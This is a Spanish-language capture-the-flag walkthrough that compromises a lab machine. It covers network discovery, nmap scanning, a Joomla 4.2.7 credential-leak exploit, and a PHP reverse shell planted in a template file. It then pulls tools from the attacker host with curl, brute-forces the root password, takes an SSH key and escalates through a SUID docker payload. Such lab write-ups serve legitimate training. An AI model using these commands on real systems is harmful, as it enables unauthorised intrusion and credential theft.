Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.55
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.55
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.55 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 80 y 8080.
Comprobamos que es lo que corre por el puerto 80.
A continuación, si realizamos con la herramienta gobuster un fuzzing web, no encontramos nada.
Comprobamos que es lo que corre por el puerto 8080.
En el escaneo de los servicios con la herramienta nmap encontramos el fichero robots.txt, Este fichero se incluye en la raíz de cada dominio para evitar que los motores de búsqueda indexen contenido de las rutas indicadas.
Accedemos a el.
Tanto en el escaneo de los servicios con la herramienta nmap como en el archivo robots.txt encontramos el directorio administrator.
Accedemos a el.
Encontramos un panel de login del CMS (Joomla).
A continuación, con la ayuda de la herramienta joomscan hacemos una búsqueda de vulnerabilidades y defectos en la configuración del CMS (Joomla), para ello ejecutamos el siguiente comando:
$ joomscan -u http://10.0.2.55:8080
Obtenemos la versión 4.2.7, por lo tanto, hacemos una búsqueda por internet de algún exploit para esta versión.
Encontramos este exploit, nos lo descargamos.
Le cambiamos la extensión de .py a .rb, para ello ejecutamos el siguiente comando:
$ mv 51334.py 51334.rb
Ejecutamos el exploit de la siguiente manera:
$ gem install httpx docopt paint
$ ruby 51334.rb http://10.0.2.55:8080
Obtenemos el anterior resultado.
Conseguimos acceder al panel de administración del CMS (Joomla), con las credenciales admin:j00mL@123###.
Investigando en la pagina de
hacktricks, encontramos que, podemos personalizar una plantilla para agregar un fragmento de código
PHP para obtener
RCE, por lo tanto, nos dirigimos a
System/Templates/Administrator Templates/Atum Details and Files y editamos el archivo
error.php y agregamos la siguiente
reverse shell:

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Con curl lanzamos una petición al servidor web, para ello ejecutamos el siguiente comando:
$ curl -s "http://10.0.2.55:8080/administrator/templates/atum/error.php"
Obtenemos una shell como www-data, pero nos damos cuenta con el comando hostname -i que no estamos dentro de la Máquina Victima si no dentro de un contenedor.
Enumerando el sistema no encontramos nada de lo que podamos abusar para escalar privilegios, por lo tanto con la ayuda de la herramienta suForce intentamos crackear la contraseña del usuario root, para ello primeramente en nuestra Máquina Atacante nos montamos un servidor HTTP con python, para ello ejecutamos el siguiente comando:
$ python3 -m http.server 80
En la Máquina Victima nos descargamos la herramienta suForce y el diccionario de rockyou, para ello ejecutamos los siguientes comandos:
$ curl http://10.0.2.4:80/suForce --output suForce
$ curl http://10.0.2.4:80/rockyou.txt --output rockyou.txt
Damos permiso de ejecución a la herramienta suForce, para ello ejecutamos el siguiente comando:
$ chmod +x suForce
A continuación, ejecutamos la herramienta suForce indicándole con la opción -u el usuario, y con la opción -w el diccionario:
$ ./suForce -u root -w rockyou.txt
Obtenemos la contraseña fucker.
Nos cambiamos al usuario root, para ello ejecutamos el siguiente comando:
$ su root

Introducimos la contraseña obtenida anteriormente.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
En el directorio /root encontramos una clave privada id_rsa para conectarnos por ssh a la Máquina Victima.
Visualizamos la id_rsa, para ello ejecutamos el siguiente comando:
$ cat .joel_key
Nos la copiamos en un archivo, para ello ejecutamos el siguiente comando:
$ nano id_rsa
Utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:
$ chmod 600 id_rsa
$ ssh -i id_rsa joel@10.0.2.55
Buscamos todos los binarios con el bit SUID, para ello ejecutamos el siguiente comando:
$ find / -perm -4000 2>/dev/null
Como podemos comprobar el binario
docker tiene el bit
SUID activado, no eliminando los privilegios elevados pudiendo utilizarse de forma abusiva para escalar privilegios como una puerta trasera
SUID, por lo tanto nos vamos a la página
gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
¡¡¡Ya somos root!!!.
Ya podemos leer las flags de user y root.